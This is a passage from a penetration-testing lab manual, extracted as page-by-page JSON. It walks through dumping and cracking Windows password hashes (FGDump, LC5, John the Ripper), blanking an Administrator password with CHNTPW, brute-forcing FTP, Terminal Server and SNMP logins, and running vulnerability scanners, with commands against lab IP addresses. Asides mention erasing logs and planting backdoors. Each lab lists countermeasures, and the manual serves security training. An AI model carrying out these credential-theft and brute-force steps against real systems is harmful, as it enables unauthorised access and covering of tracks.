with the following syntax:\nfgdump (-h host | -f filename) –u \nUsername –p Password\nIn this example, the target of 172.16.1.46 will have the password hashes\nexploited by typing:\nfgdump –vv –h 172.16.1.46 –u administrator –p 123\n\u0001\nThe –vv instructs FGDump to run in very verbose mode.\n\u0001\nThe –h 172.16.1.46 identifies the target.\n\u0001\nThe –u administrator identifies the username to use.\n\u0001\nThe –p 123 is the password for the Administrator account.\n" }, { "page_number": 324, "text": "Brute Force\n\u0001\n311\nAccording to the results of this example, the target:\n\u0001\nHas the entire C Drive shared as C$ (a hidden share).\n\u0001\nHas a mapped drive E: bound by ADMIN$ and is a writable share.\n\u0001\nHas no antivirus running.\nThe passwords were successfully dumped from the target and all traces of\nthe attack were removed from the target.\nFrom the directory on the attacker’s machine, two new files were created:\n\u0001\n172.16.1.46.cachedump\n\u0001\n172.16.1.46.pwdump\nOf the two, the 172.16.1.46.pwdump is the file of interest.\n" }, { "page_number": 325, "text": "312\n\u0001\nPractical Hacking Techniques and Countermeasures\nBy opening the 172.16.1.46.pwdump file with a text editor such as\nNotepad the password hashes from the target are visible.\nThe 172.16.1.46.pwdump file will be used in the next lab (Lab 55 — LC5)\nto produce the passwords for each account hash.\n*Note: Many of you may ask, “Why should I concern myself by going to the trouble\nof obtaining the password hashes just to break the hashes with another\nprogram when I already have an Administrator account on the target?” Good\nquestion. Several reasons are as follows: any account password can be\nchanged at any time; the more passwords an attacker has, the better for him\nor her; some accounts on this target may have Administrative access on\nanother target; and the list goes on. Just because an attacker has one Admin-\nistrative account is not necessarily a reason for the attacker to stop looking\nfor others.\n" }, { "page_number": 326, "text": "Brute Force\n\u0001\n313\nLab 55: Crack Password Hashes \nCrack and Capture Password Hashes: LC5 \nPrerequisites: None\nCountermeasures: Strong Administrator passwords, strong password\npolicy\nDescription: L0phtcrack version 5 (LC5) is a password-auditing tool that\nallows for the capturing of Windows passwords and or the conversion\nof captured Windows password hashes into the correct password. This\nis done by sending the captured hash through an algorithm until the\nnew hash exactly matches the original one. This identifies the password\nthat computes into the hash.\nProcedure: Install the L0phtcrack application, start, select the parameters,\nand execute.\nOpen LC5. The application will start the LC5 Wizard. Click Next.\n" }, { "page_number": 327, "text": "314\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe next area of the wizard requests a location of the encrypted passwords.\nAccept the default of Retrieve from the local machine. Click Next.\nNext select an Auditing Method. Select Strong Password Audit. Click Next.\n" }, { "page_number": 328, "text": "Brute Force\n\u0001\n315\nAccept the default Reporting Style. Click Next.\nLC5 is ready to begin auditing. Click Finish.\n" }, { "page_number": 329, "text": "316\n\u0001\nPractical Hacking Techniques and Countermeasures\nLC5 will start running the hashes through the known algorithm until a\nmatch is made. The password to create each hash will be displayed.\nIn order to Import a captured Pwdump file, select the Import button from\nthe toolbar.\nThe Import Wizard will appear. Select Import from file.\n" }, { "page_number": 330, "text": "Brute Force\n\u0001\n317\nSelect From PWDUMP file. Click Browse.\nBrowse to and select the Pwdump file created by the FGDump application\n(Lab 54) and click Open.\n" }, { "page_number": 331, "text": "318\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick OK.\nAccept the warning about starting the audit session over. Click Yes.\n" }, { "page_number": 332, "text": "Brute Force\n\u0001\n319\nThe Pwdump file will be imported into the LC5 application. The user-\nnames from the target will be displayed.\nClick the Start button on the toolbar. \nLC5 will grind against the usernames until each password has been iden-\ntified and displayed.\n*Note: I began using L0phtcrack when it was still in version 3 (LC3). The speed of\nthis application has increased drastically and is a proven, rock-solid applica-\ntion to break Windows password hashes. If you can afford the full version,\nI highly recommend it.\n" }, { "page_number": 333, "text": "320\n\u0001\nPractical Hacking Techniques and Countermeasures\nAs you may have noticed during the initial wizard, there are other options\nto collect Windows password hashes.\nBy opening the LC5 application again the wizard will again appear. Click Next.\nThis time select Retrieve by sniffing the local network. Click Next.\n" }, { "page_number": 334, "text": "Brute Force\n\u0001\n321\nThe option of Strong Password Audit should still be selected. Click Next.\nThe Reporting Style should still be set to the default. Click Next.\n" }, { "page_number": 335, "text": "322\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe LC5 Wizard is almost ready to begin auditing the password hashes by\n“sniffing” the local network. Click Finish.\nThe Select Network Interface window will appear. Select the appropriate\nNIC and click OK.\n" }, { "page_number": 336, "text": "Brute Force\n\u0001\n323\nLC5 is now ready to begin capturing any passwords of users logging in to\nservers on the network. Click the Start Sniffing button.\n*Note: Keep in mind that the traffic you see is completely dependent upon the\nenvironment the computer “sniffing” resides in. For example, if the network\nlink you are using is connected to a network hub, you will be able to see all\ntraffic going through that hub to all other computers on that hub. If, however,\nthe network link you are using is connected to a switch, you will only be\nable to see traffic specifically destined to/from your connection. There is a\nway to “sniff” traffic on a switch to show all traffic to a specific or every\ncomputer on a switch, which will be covered in Chapter 9.\n" }, { "page_number": 337, "text": "324\n\u0001\nPractical Hacking Techniques and Countermeasures\nOnce the passwords have been captured, click the Stop Sniffing button\nand view the results.\n" }, { "page_number": 338, "text": "Brute Force\n\u0001\n325\nLab 56: Overwrite Administrator Password \nChange the Administrator Password: CHNTPW \nPrerequisites: Local access\nCountermeasures: Strong physical security, strong access controls\nDescription: The Change NT Password (CHNTPW) application will\nchange the Administrator password regardless of what it is currently\nset to. CHNTPW also demonstrates the need for strong access controls\nand physical access to servers or any computer. \nProcedure: Gain physical access to the computer, boot from the CHNTPW\nCD, follow the on-screen instructions, change the password(s), and\nreboot.\nWith the CHNTPW CD in the CD-ROM drive, reboot a virtual Windows\n2000 machine. As the machine boots, press the Esc key to enter the Boot\nMenu.\n" }, { "page_number": 339, "text": "326\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe Boot Menu will appear.\nWith the arrow keys highlight the number 3. CD-ROM Drive and press\nthe Enter key.\n" }, { "page_number": 340, "text": "Brute Force\n\u0001\n327\nThe machine will boot from the CHNTPW CD.\nBecause VMware machines use SCSI hard drives by default, no IDE drives\nwill be discovered to change the password on.\n" }, { "page_number": 341, "text": "328\n\u0001\nPractical Hacking Techniques and Countermeasures\nPress the M key to manually load the SCSI drivers that are included on the\nCHNTPW CD.\nThe SCSI drivers will scroll on the screen. You will need to press the Enter\nkey once to complete the list.\nPress the A key to have CHNTPW try to auto-detect the correct driver by\ntrying all the drivers.\n" }, { "page_number": 342, "text": "Brute Force\n\u0001\n329\nCHNTPW will detect the virtual SCSI drive. Accept the default drive\ndetected by pressing the Enter key.\nAccept the default path to the Registry directory by pressing Enter.\n" }, { "page_number": 343, "text": "330\n\u0001\nPractical Hacking Techniques and Countermeasures\nAccept the default to perform a password reset by pressing the Enter key.\nAccept the default of Edit user data and passwords and press Enter.\n" }, { "page_number": 344, "text": "Brute Force\n\u0001\n331\nCHNTPW will determine all the user accounts on the computer. Accept\nthe default user of Administrator (unless you know the Administrator has been\nchanged — see previous labs) and press Enter.\nAt this point, you may try to enter a new password for the Administrator\naccount but I do not recommend it as it can cause problems.\n" }, { "page_number": 345, "text": "332\n\u0001\nPractical Hacking Techniques and Countermeasures\nInstead of creating a new password for the Administrator account, blank\nthe Administrator account by typing * and pressing Enter.\nWhen asked if you really want to change the password, type Y and press Enter.\n*Note: If you answer No at this point, what is the point of using this tool?\n" }, { "page_number": 346, "text": "Brute Force\n\u0001\n333\nChanged! This message appears and now you are left with an option to change\nother passwords or exit. Type in ! to exit the application and press Enter.\nTo quit CHNTPW type Q and press the Enter key.\n" }, { "page_number": 347, "text": "334\n\u0001\nPractical Hacking Techniques and Countermeasures\nWhen asked about writing the files back, type Y and press the Enter key.\nWhen asked about a new run, accept the default answer of no and press\nEnter.\n" }, { "page_number": 348, "text": "Brute Force\n\u0001\n335\nRemove CHNTPW and reboot the virtual computer. More than likely the\nmachine will want to perform a file system check. Allow this check to complete.\nThe virtual computer will boot and bring up the log-in screen. Use the\nusername of Administrator with no password. Press the Enter key.\n" }, { "page_number": 349, "text": "336\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe Windows Administrator now logs in.\nNow the attacker has complete control over this computer. Had this been\na domain controller, the attacker would now have control over the domain.\n*Note: The fact that an attacker can get physical access to your server is bad enough.\nCHNTPW demonstrates how that access can cost you the data on your server\nor network. The reality is an attacker in this position would set up backdoors\nthroughout the network and return from outside the building “at will.”\n" }, { "page_number": 350, "text": "Brute Force\n\u0001\n337\nLab 57: Brute-Force Passwords \nBrute-Force Passwords for a Hashed File: John the Ripper \nPrerequisites: Hashed password file\nCountermeasures: Strong Administrator passwords, strong password policy\nDescription: John the Ripper (JtR) has been around seemingly forever.\nIts ability to brute-force passwords has a proven track record. It is\nflexible, fast, and efficient, which are all quality items to look for when\ncracking passwords. Remember that all commands in Linux are case\nsensitive.\nProcedure: Configure, make, and execute with appropriate options\nagainst a file containing hashed passwords with the following syntax:\nJohn (Password File)\nIn this example, from the directory containing the hashed passwords, type:\njohn –i pwdump\n" }, { "page_number": 351, "text": "338\n\u0001\nPractical Hacking Techniques and Countermeasures\nJohn will start to brute-force its way through the hashed passwords until\nit determines the correct password.\nTo interrupt the “cracking” process, hold down the Ctrl key and press the C key.\n" }, { "page_number": 352, "text": "Brute Force\n\u0001\n339\nJohn keeps track of the passwords it finds for each hashed file. To verify\nwhat passwords were found, type:\njohn –show pwdump\n" }, { "page_number": 353, "text": "340\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe passwords will be displayed unencrypted in the hash file with infor-\nmation separated by a colon (:). The biggest ones of concern are the first three:\n\u0001\nUsername\n\u0001\nPassword\n\u0001\nUser ID\n*Note: Remember that the user ID is important because a user account can be\nrenamed. In this example this is a hashed file from a Windows target. Referring\nto Chapter 3, each user is assigned a static user ID. The Administrator account\non a Windows machine will always be 500.\n" }, { "page_number": 354, "text": "Brute Force\n\u0001\n341\nLinux has been running John the Ripper much longer than Windows. From\nthe directory containing the compressed files, type tar –zxvf john-1.6.tar.gz.\nThe files will uncompress into a new directory named john-1.6.\nChange to the new directory by typing cd john-1.6 and pressing the Enter\nkey.\nNext change to the src directory by typing cd src and pressing the Enter\nkey.\nJohn the Ripper for Linux requires you to compile the application for the\nmachine type it is going to be running on. Many times, as in this example,\nyou can use the generic build by typing:\nmake generic\n" }, { "page_number": 355, "text": "342\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe application will now build for the machine it is on.\nTo execute John, change to the correct directory by typing:\ncd ../run\n" }, { "page_number": 356, "text": "Brute Force\n\u0001\n343\nAfter placing a hashed file into this directory, type:\njohn –i pwdump\nThe passwords will be broken and displayed on the screen.\n" }, { "page_number": 357, "text": "344\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo interrupt the “cracking” process hold down the Ctrl key and press the\nC key.\nJohn keeps track of the passwords it finds for each hashed file. To verify\nwhat passwords were found, type:\njohn –show pwdump\n" }, { "page_number": 358, "text": "Brute Force\n\u0001\n345\nThe passwords will be displayed unencrypted in the hash file with infor-\nmation separated by a colon (:). The biggest ones of concern are the first three:\n\u0001\nUsername\n\u0001\nPassword\n\u0001\nUser ID\n*Note: User ID is important because a user account can be renamed. In this example\nthis is a hashed file from a Windows target. Referring to Chapter 3, each user\nis assigned a static user ID. The Administrator account on a Windows machine\nwill always be 500.\nJohn the Ripper allows for the cracking of Linux/Unix password files as\nwell. The only limitation is if the password is “shadowed” with an asterisk (*).\n" }, { "page_number": 359, "text": "346\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 58: Brute-Force FTP Password \nBrute-Force an FTP Password Connection: BruteFTP \nPrerequisites: None\nCountermeasures: Secured FTP, known as Secured Shell Client (SSL) or\nSecure FTP Client (SFTP)\nDescription: File Transfer Protocol (FTP) is used to transfer files between\ncomputers and is still widely in use. The biggest flaw with FTP is that\nit is unencrypted in nature (plain text) and if intercepted can be read\neasily, including the usernames, passwords, and data.\nProcedure : Install the application, select the target, and execute.\nDouble-click on the BruteFTP icon to start the application.\nYou may receive an MSWINSCK.OCX file error. Click OK.\n" }, { "page_number": 360, "text": "Brute Force\n\u0001\n347\nI have included the needed files on the accompanying CD, or you can\ndownload them from the Internet. Double-click on the libraryfiles.exe icon\nto start the installation of the needed files.\nThe Welcome screen will be displayed. Click Next.\n" }, { "page_number": 361, "text": "348\n\u0001\nPractical Hacking Techniques and Countermeasures\nAccept the default Installation Directory. Click Next.\nThe Directory Installation file will probably not be there already. Click Yes\nto have the application create the directory.\n" }, { "page_number": 362, "text": "Brute Force\n\u0001\n349\nThe files are now ready for installation. Click Start.\nDuring the installation process, you may receive several warnings about\nfiles being older than the ones currently on the computer. Select No to override\nany of the files until the installation completes.\n" }, { "page_number": 363, "text": "350\n\u0001\nPractical Hacking Techniques and Countermeasures\nOnce the application has completed you will be told to restart Windows.\nClick Next.\nClick Exit.\n" }, { "page_number": 364, "text": "Brute Force\n\u0001\n351\nOpen the BruteFTP application.\nChange the Server address from 127.0.0.1 to the target address. In this\nexample it is 172.16.1.40.\n" }, { "page_number": 365, "text": "352\n\u0001\nPractical Hacking Techniques and Countermeasures\nChange the username to a known or suspected username on the FTP target.\n(From previous labs it was determined that a valid username on this target is\nthe Administrator account, which was renamed to Kermit.)\nClick the . . . button by the dictionary.txt file and browse to a text\ndocument containing a list of passwords, one password per line.\n" }, { "page_number": 366, "text": "Brute Force\n\u0001\n353\nBruteFTP is now ready to start. Click the Start button. The BruteFTP\napplication will connect to the server and attempt each password in the\npassword file with the username you assigned. In this example the password\nof 123 was found for the username Kermit.\n*Note: I wanted to demonstrate that knowing the username is half the battle when\ndealing with user accounts. Many users feel their username is “no big deal,”\nbut as you can see from this lab it very well can become a “big deal” to an\nattacker.\n" }, { "page_number": 367, "text": "354\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 59: Brute-Force Terminal Server \nBrute-Force Terminal Server Passwords: TSGrinder II \nPrerequisites: Server running Terminal Server\nCountermeasures: Strong router ACLs, session monitoring\nDescription: TSGrinder is an application designed to brute-force a user-\nname’s password against a Terminal Server. Terminal Server uses an\nencrypted channel, which also helps evade Intrusion Detection Systems\n(IDS). Although a dictionary-based tool, it supports multiple attack\nwindows from the same dictionary file.\nProcedure: Start the application with selected options under the following\nsyntax:\ntsgrinder –u (username) –w (dictionary filename) target\nIn this example from the directory containing the application, type:\ntsgrinder –u kermit –p dict 172.16.1.40\n\u0001\nThe –u kermit tells TSGrinder to use the username Kermit (as identified\nfrom previous labs on this target).\n\u0001\nThe –w dict tells TSGrinder to use the dictionary file named dict.\n\u0001\n172.16.1.40 is of course the target IP address.\n" }, { "page_number": 368, "text": "Brute Force\n\u0001\n355\nA remote connection screen will appear in sets of five attempts. The\nusername of Kermit will automatically be placed into the User name field and\neach password, one at a time from the dictionary file, will automatically be\nplaced into the Password field.\nAs each set of five attempts is made, an update to the screen will be displayed.\n" }, { "page_number": 369, "text": "356\n\u0001\nPractical Hacking Techniques and Countermeasures\nIf the correct password for the username is in the dictionary file, a terminal\nsession will be established momentarily to the target. Either click the OK\nbutton or simply wait a few seconds and the screen will close automatically.\nIf the correct password was located, the password will be given. In this\nexample, the password is 123. Now the attacker can log in “at will” to the\nserver via a Terminal Server session as that user.\n*Note: TSGrinder is one of my favorite tools because of its uniqueness and by default\nthe Administrator account cannot be locked out with this method. Keep in mind\nthat each attempt will be logged into the event log; once access is granted, the\nattacker will simply delete the logs and more than likely turn logging off altogether.\n[\n" }, { "page_number": 370, "text": "Chapter 8\nVulnerability Scanning\n" }, { "page_number": 371, "text": "" }, { "page_number": 372, "text": "Vulnerability Scanning\n\u0001\n359\nLab 60: Vulnerability Scanner \nPerform Vulnerability Assessment: SAINT \nPrerequisites: None\nCountermeasures: Secure access control lists (ACLs), Bastion servers/\nworkstations\nDescription: SAINT (Security Administrator’s Integrated Network Tool) is\na security assessment tool based on SATAN. Features include the ability\nto scan through a firewall, updated security checks from Certification\n(CERT) and Computer Incident Advisory Centre (CIAC) bulletins, four\nlevels of severity (red, yellow, brown, and green), and a feature-rich HTML\ninterface. Remember that all commands in Linux are case sensitive.\nProcedure: Install, execute against target, and review the results.\nFrom the directory containing the compressed files, type gunzip saint-\ninstall-5.9.5.gz.\nThe saint-install-5.9.5.gz file will uncompress and only the saint-install-\n5.9.5 file will remain.\n*Note: When SAINT is downloaded you are required to enter a valid e-mail address.\nA temporary License Key will be sent to that address allowing the two\nspecific target IP addresses you requested to be scanned by SAINT. At this\npoint I copy that License Key into the same directory that the saint-install-5.9.5\nresides in.\n" }, { "page_number": 373, "text": "360\n\u0001\nPractical Hacking Techniques and Countermeasures\nType in chmod a + x saint-install-5.9.5 and press Enter.\n\u0001\nThe chmod command tells Linux to change permissions of the file.\n\u0001\nThe a + x options tells chmod to allow all users to execute the file.\nThe next step is to install the SAINT application by typing ./saint-install-\n5.9.5 and pressing Enter.\n" }, { "page_number": 374, "text": "Vulnerability Scanning\n\u0001\n361\nThe installation begins. Press the Enter key to read the License Agreement.\nYou can read the License Agreement one line at a time by pressing the\nEnter key or a page at a time by pressing the Spacebar.\n" }, { "page_number": 375, "text": "362\n\u0001\nPractical Hacking Techniques and Countermeasures\nOnce you have reached the end of the License Agreement, type yes and\npress the Enter key.\nPress Enter to install the SAINT man page.\n" }, { "page_number": 376, "text": "Vulnerability Scanning\n\u0001\n363\nAccept the default location for the man pages. Press the Enter key.\nPress the Enter key to install a SAINT icon on the desktop.\n" }, { "page_number": 377, "text": "364\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe SAINT installation is now complete.\nNow that SAINT is installed you can execute the application by double-\nclicking on the SAINT icon on the desktop or from the command line.\n" }, { "page_number": 378, "text": "Vulnerability Scanning\n\u0001\n365\nAs we are already in the Linux terminal change to the SAINT directory by\ntyping cd saint-5.9.5 and pressing Enter.\nStart the SAINT application from the command line by typing:\n./saint\n" }, { "page_number": 379, "text": "366\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe SAINT application will start by opening the Mozilla browser.\nUnder Administration Functions on the main page select Configure\nSAINT Key. Click the Submit button.\n" }, { "page_number": 380, "text": "Vulnerability Scanning\n\u0001\n367\nThe SAINT Key screen appears.\nFrom the License Key sent to the e-mail address you used when down-\nloading SAINT, enter the text from within that file.\n*Note: I recommend using the Copy/Paste command with the License file to prevent\nmistakes.\n" }, { "page_number": 381, "text": "368\n\u0001\nPractical Hacking Techniques and Countermeasures\nScroll down on the right side of the screen and click the Save SAINT key\nbutton.\nYou will be presented with a warning of Password Disclosure if contacting\nremote servers with SAINT. Click the Reload key on the browser. \nSave SAINT key\n" }, { "page_number": 382, "text": "Vulnerability Scanning\n\u0001\n369\nConfirm the POSTDATA warning by clicking OK. \nThe SAINT Key will be saved.\n" }, { "page_number": 383, "text": "370\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick on the Scan Set-Up tab along the top of the screen.\nAs this is a single target scan, enter the target’s IP address. In this example,\nthe target IP address is 172.16.1.46.\nClick the Add button to the right of the IP address. \nThe target IP address will be shown in the Selected Targets area. \nAdd\n" }, { "page_number": 384, "text": "Vulnerability Scanning\n\u0001\n371\nScroll down the right side of the screen and locate the section labeled\nScanning Level. Select Heavy for the Scanning Level. Select Perform dan-\ngerous tests.\nScroll down to the Firewall Support section and select the appropriate\noption for your environment.\n" }, { "page_number": 385, "text": "372\n\u0001\nPractical Hacking Techniques and Countermeasures\nScroll down to the bottom of the screen and click the Scan Now button. \nSAINT will now begin scanning the target for any vulnerability it can locate.\nThe results of the scan will be displayed on the screen as they are determined.\n*Note: Notice the VCR-type control box that appears on the screen as well. This\nallows you to Pause, Stop, or View Results in Progress. Be patient for the\nresults as SAINT may take a while.\n" }, { "page_number": 386, "text": "Vulnerability Scanning\n\u0001\n373\nSAINT will complete the vulnerability scan. \nClick on Continue with report and analysis at the bottom of the screen.\nUnder Report Type select Full Scan Report.\n" }, { "page_number": 387, "text": "374\n\u0001\nPractical Hacking Techniques and Countermeasures\nScroll down to the bottom of the screen and click the Continue button.\nThe SAINT Vulnerability Assessment Report will appear.\nContinue\n" }, { "page_number": 388, "text": "Vulnerability Scanning\n\u0001\n375\nThe results can be analyzed by scrolling down the right side of the screen.\nIn this example, SAINT has identified the following:\n\u0001\n2 critical problems\n\u0001\n2 areas of concern\n\u0001\n18 potential problems\n\u0001\n32 services\n" }, { "page_number": 389, "text": "376\n\u0001\nPractical Hacking Techniques and Countermeasures\nBy scrolling further down the screen, SAINT will identify the class of\nconcern from the overall number of vulnerabilities identified. In this example,\nthe target has indentified the following:\n\u0001\n3 Web vulnerabilities\n\u0001 2 Networking/Simple Network Management Protocol (SNMP) vulnerabilities\n\u0001\n14 Windows operating system (OS) vulnerabilities\n\u0001\n1 Password vulnerability\n\u0001\n2 Other vulnerabilities\n" }, { "page_number": 390, "text": "Vulnerability Scanning\n\u0001\n377\nFurther down the screen, SAINT provides a detailed list of the vulnerabil-\nities. Items displayed are as follows:\n\u0001\nTarget Host Name\n\u0001\nCriticality severity\n\u0001\nThe specific Vulnerability/Service\n\u0001\nThe Class\n\u0001\nThe CVE (Common Vulnerabilities and Exposure)\n\u0001\nIf the vulnerability is a member of the Top 20 list (SysAdmin, Audit,\nNetwork, Security [SANS] Top 20)\n" }, { "page_number": 391, "text": "378\n\u0001\nPractical Hacking Techniques and Countermeasures\nScrolling down, the specifics for each vulnerability are listed, as well as\nthe potential impact, possible solution, and results of the vulnerability found.\nFor instance, in this example the Administrator’s password was discovered to\nbe 123. \n*Note: One of the features I like best is that the SAINT vulnerability scanner provides\nlinks where you can download patches or new versions of software that will\neliminate the detected vulnerabilities. Although it is not free beyond the two\nIP limitations for 30-day trial use, SAINT receives a two-thumbs up.\n" }, { "page_number": 392, "text": "Vulnerability Scanning\n\u0001\n379\nLab 61: SNMP Walk\nExploit Data via SNMP Walk: NETWOX/NETWAG \n \nPrerequisites: Simple Network Management Protocol (SNMP) target\nCountermeasures: Bastion servers/workstations, host-based firewalls,\nstrong passwords, File Transfer Protocol (FTP) over Secure Socket\nLayer (SSL)\nDescription: The NETWOX (NETWork toolbOX) application can be a\nvery dangerous tool in the wrong hands. NETWAG is the GUI interface\nfor NETWOX. In this lab, the tool is used to demonstrate its ability to\n“walk” the SNMP. SNMP lets you “read” information from a device.\nSNMP gives its information via a Management Information Base (MIB).\nMIBs are like directories and are referred to by name or by number.\nRemember that all commands in Linux are case sensitive.\n*Note: Lab 53 demonstrated using NETWOX/NETWAG in a Linux environment. In\nthis lab I will demonstrate the Windows version.\nProcedure: Set the parameters, execute against the target(s), and review\nthe results.\nDouble-click the Netwag icon.\n" }, { "page_number": 393, "text": "380\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe NETWAG application will start.\nHighlight item #160: SNMP Walk.\n" }, { "page_number": 394, "text": "Vulnerability Scanning\n\u0001\n381\nBy clicking on the Help tab you display the syntax of the tool.\nThe top section of the screen illustrates the correct syntax and examples\nof each tool selected. In this example, by clicking on the Example button\nyou place the text into the center white block of the screen. This is the\nexecution section. This is the syntax that will be executed and should be\nmodified to run against the target. \nThe lowest section contains the status of the tool’s execution.\n" }, { "page_number": 395, "text": "382\n\u0001\nPractical Hacking Techniques and Countermeasures\nIn this example, there is an SNMP server located at 172.16.1.46. Click on\nthe Form button at the top of the application. Type the IP of the target in the\ndst-ip field. Click the Generate button and view the syntax to be executed\nin the execution section (the white area below the Form section).\nClick on the Run it again button. View the results. The results of this lab identify\nthe target operating system and the target hostname.\n" }, { "page_number": 396, "text": "Vulnerability Scanning\n\u0001\n383\nHardware information on the target includes the following:\n\u0001\nTarget has an A: drive.\n\u0001\nTarget has a D: drive.\n\u0001\nTarget has a fixed disk.\n\u0001\nTarget uses a three-button mouse, with a wheel.\n\u0001\nTarget uses a 101-keyboard layout.\n\u0001\nTarget has a printer port.\n\u0001\nTarget has two COM ports.\n" }, { "page_number": 397, "text": "384\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe target provides a convenient list of Hotfixes that have been installed.\nA list of software installed on the target is provided.\n*Note: This list is not an all-inclusive list. This list of software is identified in the\nAdd/Remove Programs sections on the target.\n" }, { "page_number": 398, "text": "Vulnerability Scanning\n\u0001\n385\nA list of usernames on the target as well as the Workgroup name assigned\nto the target are also provided\n*Note: I cannot stress enough the importance of this tool for either an attacker or a\nvulnerability/penetration test. The sheer amount of tools available is incredible.\n" }, { "page_number": 399, "text": "386\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 62: Brute-Force Community Strings \nExploit the SNMP Community Strings: Solar Winds \nPrerequisites: Target running SNMP\nCountermeasures: Secure ACLs, strong community names, Bastion com-\nputer, host-based firewalls\nDescription: The Solar Winds application is one of the few commercial\napplications in the manual. The functionality of Solar Winds warrants\nits demonstration. In this lab, Solar Winds is used to perform a brute-\nforce attack against an SNMP device.\nProcedure: Install the application, start, set parameters, and execute.\nInstall the Solar Winds application. In this example, the 30-day demonstra-\ntion version is used. Double-click on the SolarWinds2000-PP-Eval icon.\nInstall the Solar Winds application with the default settings. The Solar\nWinds installation will now complete. Click Finish.\n" }, { "page_number": 400, "text": "Vulnerability Scanning\n\u0001\n387\nThe Solar Winds toolbar will load. \n*Note: Familiarize yourself with each section of Solar Winds. You will notice that\nthis application has a lot to offer, which is probably why it costs a substantial\namount of money. I can tell you from personal use that this product is worth\nevery cent.\n" }, { "page_number": 401, "text": "388\n\u0001\nPractical Hacking Techniques and Countermeasures\nContinue to scroll through each section. You will see even more options.\n" }, { "page_number": 402, "text": "Vulnerability Scanning\n\u0001\n389\nClick the Security section. Click on SNMP Brute Force Attack.\nThe SNMP Brute Force Attack utility will start. Click the Settings button.\n" }, { "page_number": 403, "text": "390\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick on the Character Set button.\nFrom the Character Set, select which set of characters to use.\nFrom the Community Strings, specify the Starting Community String.\nClick OK.\n" }, { "page_number": 404, "text": "Vulnerability Scanning\n\u0001\n391\nEnter the target IP address, select the Attack Speed, and click Attack.\nWith this tool the community string will eventually be discovered. The\ndemo version is limited to a few seconds so the results of this example are\nsimulated. The full version of Solar Winds Engineering Edition at the time of\nthis writing is $1,390.\n*Note: When attackers discover the read-only community string, they are able to\nperform an SNMP walk, which discovers various amounts of information\nabout the network. When the read/write string name is found an attacker\ncan then read the values of the managed device, make configuration changes,\nand even shut down or reboot the system.\n" }, { "page_number": 405, "text": "392\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 63: Target Assessment \nAssessment of Target Security: Retina \nPrerequisites: None\nCountermeasures: Secure ACLs, Bastion computers\nDescription: The Retina application is another commercial application.\nThis application is designed to perform a security assessment of the\ntarget. Retina scans ports, traceroutes, performs audits with numerous\ncanned scripts, generates precise reports, provides recommended solu-\ntions for security concerns, and much more. For the purposes of this\nlab, the 30-day demonstration version will be used.\nProcedure: Install, set parameters, and execute.\nDouble-click the Retina4986Demo icon to start the Retina installation.\nInstall the Retina application with the default options. If the Microsoft Data\nAccess Components (MDAC) are not installed, accept Retina’s offer to install\nthem. Click Next. \n" }, { "page_number": 406, "text": "Vulnerability Scanning\n\u0001\n393\nIn this example, the MDAC will be installed.\nThe Retina installation will complete. Accept the default option to Launch\nRetina. Click Finish.\n" }, { "page_number": 407, "text": "394\n\u0001\nPractical Hacking Techniques and Countermeasures\nRetina is helpful from the beginning by offering a wizard when starting\nup. In this example, the wizard was canceled by pressing the Cancel button.\nRetina will start with the IP address of the machine it is installed on in the\nAddress block.\n" }, { "page_number": 408, "text": "Vulnerability Scanning\n\u0001\n395\nEnter the target IP address or Hostname. Click on the start button \n or\npress the Enter key.\nRetina will scan the target for open ports, any shares, users, services, machine\ninformation, and will perform a security audit of the target for known vulnerabilities.\n" }, { "page_number": 409, "text": "396\n\u0001\nPractical Hacking Techniques and Countermeasures\nIn this example, a critical SNMP error is selected and the details of this\nerror are displayed in the lower section of the application, including these\nareas:\n\u0001\nDescription\n\u0001\nRisk Level\n\u0001\nHow To Fix\n\u0001\nRelated Links\n\u0001\nCVE link (Common Vulnerabilities and Exposures Web site)\n*Note: Retina is used by attackers to find faults and exploit them. Retina is used by\nsecurity administrators to find and correct those same exploits. Among the\ncommercial vulnerability scanners available, Retina is one of the best.\n" }, { "page_number": 410, "text": "Vulnerability Scanning\n\u0001\n397\nLab 64: Target Assessment \nAssessment of Target Security: X-Scan \nPrerequisites: None\nCountermeasures: Secure ACLs, Bastion computer, host-based firewalls\nDescription: The X-Scan application is designed to perform a security\nassessment of the target. X-Scan scans ports, traceroutes, performs\naudits with numerous canned scripts, generates precise reports, and\nprovides recommended solutions for security concerns and much\nmore. X-Scan is basically the free equivalent of Retina (see Lab 63).\nProcedure: Start the application, set the parameters, and execute.\nClick on the xscan_gui icon to start the X-Scan application.\nThe X-Scan application starts. Configure the X-Scan application by clicking\non Config and then clicking on Scan Parameter.\n" }, { "page_number": 411, "text": "398\n\u0001\nPractical Hacking Techniques and Countermeasures\nUnder the Basic config tab, enter the target IP Address.\nChange the default Skip host when failed to ping to Scan always.\nUnder the Port tab, enter the ports in Scan port and Scan mode to scan\non the target.\n" }, { "page_number": 412, "text": "Vulnerability Scanning\n\u0001\n399\nThe remaining information may be left at default values unless this is an\nSNMP assessment, which is configured on the Snmp tab. Click OK.\nTo begin the assessment click the start button \n or click on File and then\nclick Start. The results are displayed as the assessment executes. \n" }, { "page_number": 413, "text": "400\n\u0001\nPractical Hacking Techniques and Countermeasures\nAn HTML page displaying an itemized result of the assessment is given by\nclicking on the green report button \n or by clicking on View and then\nclicking on Report.\nBy clicking on the Details selection on the Web page reveals the specifics\nof the results.\n" }, { "page_number": 414, "text": "Vulnerability Scanning\n\u0001\n401\nClick on individual results to display each vulnerability result. In this\nexample, the NT Server Password was selected, which scrolls to the area\nof the results page for those details. This example shows the following:\n\u0001\nThe Administrator password was determined to be 123.\n\u0001\nThe account was last logged into Fri Nov 18 21:48:43 2005.\n\u0001\nThe account has logged in a total of 9 times.\n*Note: Keep in mind that attackers look at all data collected. 